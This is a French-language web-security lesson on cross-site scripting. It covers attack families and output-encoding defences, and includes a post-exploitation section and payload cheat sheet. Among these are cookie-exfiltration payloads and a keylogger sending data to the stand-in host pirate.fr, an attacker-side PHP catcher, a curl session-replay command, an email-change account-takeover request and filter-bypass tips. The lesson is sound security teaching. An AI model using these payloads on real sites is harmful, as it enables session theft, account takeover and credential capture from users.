Failles XSS (Cross-Site Scripting)

Qu'est-ce qu'une attaque XSS ?

Une attaque XSS (Cross-Site Scripting) consiste à injecter du code JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Ce code s'exécute dans le navigateur des victimes avec leurs droits sur le site, à leur insu : il peut voler leurs cookies de session, soumettre des formulaires en leur nom, afficher un faux formulaire de connexion ou capturer chaque touche de clavier.

La cible, à la différence d'une injection SQL, n'est pas votre serveur : c'est le navigateur de vos visiteurs. L'attaquant détourne la confiance que le navigateur accorde à votre domaine. Puisque le script tourne sous votre-site.fr, il a accès aux cookies, au stockage local, aux requêtes authentifiées de la victime.

Le XSS est classé A05 dans l'OWASP Top 10 2025 (catégorie Injection) et figure parmi les failles les plus signalées du web depuis plus de vingt ans. La démonstration à l'échelle la plus célèbre est le ver Samy (2005) : une attaque XSS stored sur MySpace qui s'est propagée à plus d'un million de profils en moins de 24 heures, sans que les victimes n'aient rien à faire d'autre que visiter la page.

Le commentaire qui vole les sessions

Sur un blog, n'importe qui peut laisser un commentaire. Un visiteur en poste un, banal en apparence :

Super article ! <script>new Image().src='https://pirate.fr/vol?c='+document.cookie</script>

Le serveur l'enregistre, puis le réaffiche à chaque visiteur de la page. Et là, dans le navigateur de chaque lecteur, ce <script> s'exécute : il récupère document.cookie (dont le cookie de session) et l'envoie au serveur du pirate. Résultat : l'attaquant peut rejouer ces sessions et se faire passer pour les visiteurs, l'admin compris. Le tout sans toucher à votre serveur : la victime, c'est le navigateur des autres.

Ça, c'est le XSS (Cross-Site Scripting) : faire exécuter votre JavaScript dans la page d'un autre. C'est la branche la plus courante de l'injection (A05 de l'OWASP 2025), et longtemps la faille web la plus signalée au monde.

La cause est la même qu'en injection SQL (leçon 3) : on fait confiance à une donnée et on l'affiche telle quelle sans la transformer. Sauf qu'ici la cible n'est plus votre base de données, c'est le navigateur des autres visiteurs.

Pourquoi ça marche, et les 3 familles

La racine est exactement celle de l'injection SQL (leçon 3), transposée au navigateur : vous avez mélangé du code et des données. Vous réaffichez une donnée utilisateur dans votre page HTML sans la transformer, donc le navigateur ne fait pas la différence entre votre HTML et le <script> qu'un attaquant a glissé dedans. Pour lui, une balise glissée dans la page est une balise à interpréter, d'où qu'elle vienne.

On distingue trois familles selon le chemin que prend le payload :

• Reflected (réfléchi) : le payload est dans la requête (un paramètre d'URL, un champ de recherche) et renvoyé immédiatement dans la réponse. L'attaque se déclenche via un lien piégé envoyé à la victime.
• Stored (stocké) : le payload est enregistré (commentaire, profil, message) puis re-servi à tous les visiteurs. Le plus dangereux : il frappe en masse, sans lien à cliquer.
• DOM-based : tout se passe côté navigateur. Du JavaScript de la page lit une entrée (l'URL, un champ) et l'injecte dans le DOM via un sink dangereux comme innerHTML, sans que le serveur ne voie jamais le payload.

À vous d'attaquer : faites « pop » une alerte

Voici un mini livre d'or, vraiment vulnérable, tournant dans un bac à sable isolé (une iframe verrouillée : votre code s'exécute contre la page-jouet, jamais contre ce site ni vos vrais cookies). Le message que vous publiez est inséré tel quel via innerHTML. Votre mission : faire exécuter du JavaScript, c'est-à-dire déclencher une alert().

Le correctif : encoder la sortie, selon le contexte

La parade n'est pas de nettoyer l'entrée, mais d'encoder la donnée au moment où on l'affiche, pour que le navigateur la voie comme du texte, jamais comme du code. Et l'encodage dépend du contexte où la donnée atterrit.

Contexte le plus courant, le corps HTML : en PHP, on passe tout par htmlspecialchars(), qui transforme les caractères dangereux (<, >, &, ") en entités HTML inoffensives (< devient <) :

// SÛR : la saisie est affichée comme du texte, pas interprétée
echo '<div>' . htmlspecialchars($commentaire, ENT_QUOTES, 'UTF-8') . '</div>';

Côté JavaScript, le même principe : on n'écrit jamais une donnée dans innerHTML ; on utilise textContent (ou .value), qui insère du texte pur, jamais du HTML :

// DANGEREUX : el.innerHTML = commentaire;
// SÛR : le navigateur n'interprète aucune balise
el.textContent = commentaire;

En Go, le package html/template encode automatiquement selon le contexte (corps, attribut, JS, URL) : c'est l'approche la plus sûre, l'échappement n'est pas un oubli possible.

// html/template échappe tout seul, au bon endroit
t := template.Must(template.New("p").Parse("<div>{{.}}</div>"))
t.Execute(w, commentaire) // <script> ressort en texte inoffensif

La méthode et l'arsenal du pentester

1. Repérer les points de réflexion. On injecte un marqueur unique et inoffensif (ex. xss7331) dans chaque champ, paramètre d'URL, en-tête. On cherche ensuite ce marqueur dans la réponse : s'il ressort non encodé (tel quel, pas en <), le point est injectable.

2. Identifier le contexte. Là où le marqueur atterrit dicte le payload : corps HTML (<svg onload>), attribut (fermer le guillemet : "><img...), bloc JavaScript (fermer la chaîne/le script), URL (javascript:). Le bon payload, c'est celui qui « casse » le contexte courant, comme le ' cassait la requête SQL.

3. Contourner les filtres. Un filtre naïf se contourne : casse mixte (<ScRiPt>), encodage HTML/URL, balises sans le mot script (<svg>, <img>), gestionnaires d'événements. D'où, encore, l'inutilité des blacklists.

4. L'impact. Une fois le JS exécuté chez la victime, les dégâts vont du vol de session à la prise de compte complète, en passant par le phishing et le keylogging. La section suivante détaille précisément ce butin : comment exfiltrer un cookie de session, comment agir au nom de la victime sans jamais lire ce cookie, et comment transformer un alert() en prise de compte réelle.

5. L'arsenal.

• Burp Suite : intercepter, modifier, et fuzzer les points d'injection (Repeater/Intruder), comme pour le SQLi.
• BeEF (Browser Exploitation Framework) : une fois un XSS obtenu, on « hook » le navigateur de la victime et on le pilote (commandes, faux prompts, pivot réseau). La démonstration qui fait comprendre l'impact.
• XSS Hunter : pour le blind XSS (le payload se déclenche plus tard, ailleurs, ex. dans un back-office admin) ; il rappelle « à la maison » avec une capture quand il s'exécute.

Après l'exploit : le butin et son usage

Faire « pop » une alert(), c'est juste la preuve que le code s'exécute. Mais que fait vraiment un attaquant une fois ce pouvoir en main ? Voici le carnet d'après-exploitation, pour comprendre l'impact réel, et donc savoir quoi défendre.

1. Voler la session, puis la rejouer. D'abord, exfiltrer le cookie vers un serveur que l'attaquant contrôle. Une simple image suffit : charger une image vers n'importe quel domaine est autorisé, l'exfiltration passe donc sous le radar de la same-origin policy :

<img src=x onerror="new Image().src='https://pirate.fr/c?k='+encodeURIComponent(document.cookie)">

En face, le « catcher » de l'attaquant, un script minuscule qui logge tout ce qui arrive :

<?php // catch.php, sur le serveur de l'attaquant
file_put_contents('loot.txt', $_GET['k'] . "\n", FILE_APPEND);

Il n'a plus qu'à attendre : chaque visiteur qui charge la page piégée lui envoie son cookie. Puis il rejoue la session : le cookie est l'identité, le mot de passe devient inutile :

# En se faisant passer pour la victime, depuis sa propre machine
curl -H "Cookie: session=VALEUR_VOLEE" https://site-cible.fr/mon-compte

Ou, dans un navigateur : coller le cookie volé (devtools → Application → Cookies, ou l'onglet « Match & Replace » de Burp), recharger, et le voilà connecté en tant que la victime.

2. Agir au nom de la victime (sans rien voler). Plus vicieux : le JS tourne déjà dans la session de la victime. Pas besoin d'exfiltrer quoi que ce soit, on envoie directement une requête authentifiée depuis son navigateur :

// Changer l'email du compte → puis « mot de passe oublié » → prise du compte
fetch('/compte/email', { method:'POST', credentials:'include',
  headers:{ 'Content-Type':'application/json' },
  body: JSON.stringify({ email:'pirate@evil.com' }) });

Souvent plus puissant que le vol de cookie, et ça marche même si le cookie est HttpOnly : on n'a jamais eu besoin de le lire.

3. Voler les identifiants (phishing dans le vrai site). Le JS injecte un faux formulaire de connexion par-dessus la page. La victime est bien sur le vrai domaine (bonne URL, cadenas) : elle tape son mot de passe en confiance → envoyé à l'attaquant. C'est le contexte de confiance qui fait tout le travail.

4. Espionner en continu (keylogger). Chaque touche frappée part chez l'attaquant, mots de passe et numéros de carte compris :

document.addEventListener('keydown', function (e) {
  navigator.sendBeacon('https://pirate.fr/k', e.key);
});

5. Industrialiser : BeEF. Plutôt que d'écrire ces scripts à la main, BeEF « hook » le navigateur de la victime et garde le contrôle tant que la page reste ouverte : faux prompts, vol du presse-papier, scan du réseau interne, pivot.

Le carnet de payloads XSS

Les classiques à coller dans un champ pour tester (sur vos apps ou une cible autorisée). À essayer aussi dans le bac à sable plus haut.

Corps HTML (le <script> ne marche pas via innerHTML, d'où les gestionnaires) :

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>

Sortie d'un attribut (on referme le guillemet d'abord) :

"><img src=x onerror=alert(1)>
' autofocus onfocus=alert(1) x='

Contexte URL / lien :

javascript:alert(1)

Vol de cookie (la charge « utile » réelle, à la place de alert) :

<img src=x onerror="fetch('https://pirate.fr/c?'+document.cookie)">

Le blind XSS : la bombe à retardement

Le blind XSS est un cas particulier du stored XSS : le payload se déclenche non pas sur la page publique, mais ailleurs, plus tard, souvent dans un outil interne (back-office admin, outil de support client, visualiseur de logs). L'attaquant ne voit jamais la page où son code s'exécute.

Scénario typique : un formulaire de contact stocke le message en base de données. L'agent du support qui ouvre le ticket dans son back-office déclenche le payload dans son navigateur, avec ses droits admin. C'est souvent bien plus impactant qu'un XSS public, précisément parce que les back-offices sont rarement aussi durcis que le front.

Zones à tester en priorité (sur vos propres systèmes) : formulaires de contact, champ "nom / raison sociale" d'une commande, champ bio ou pseudo d'un compte utilisateur, commentaire d'un ticket de support, champ User-Agent logué. Partout où un humain lit la donnée dans un outil interne.

XSS Hunter est l'outil de référence pour ce scénario : il génère des payloads qui "appellent à la maison" avec une capture complète (URL, cookies disponibles, DOM, screenshot) dès qu'ils s'exécutent, même des heures après l'injection.

XSS et les frameworks modernes : protégés par défaut ?

React, Vue et Angular encodent automatiquement les valeurs insérées dans leurs templates. {message} en JSX (React), {{ message }} en Vue et Angular insèrent tous du texte encodé, jamais du HTML brut. C'est la protection la plus importante qu'ils apportent par rapport au DOM vanilla.

Mais les trappes persistent :

• dangerouslySetInnerHTML (React) : le nom est volontairement effrayant. À n'utiliser qu'avec du HTML santé par DOMPurify.
• v-html (Vue) : même risque, même parade.
• [innerHTML]="..." (Angular) : Angular a un sanitizer intégré, mais bypassSecurityTrustHtml() le désactive complètement.
• URLs dynamiques. href={url} en React ou :href="url" en Vue ne bloquent pas le schéma javascript:. Un href="javascript:alert(1)" s'exécute si url vient de l'utilisateur.
• Hydration SSR. Les frameworks qui font du rendu serveur puis hydratent côté client ont deux surfaces d'attaque : côté serveur (injection dans le HTML initial) et côté client (re-rendu). Les deux doivent être bouchées.

Récapitulatif : les types d'attaque XSS et leurs défenses

Le stored XSS est le plus dangereux en pratique (frappe en masse, pas de lien à cliquer). Le blind XSS est le plus impactant en termes de privilèges (cible les admins). La défense reste la même dans tous les cas : encoder en sortie, selon le contexte, plus une CSP stricte en couche de sécurité supplémentaire.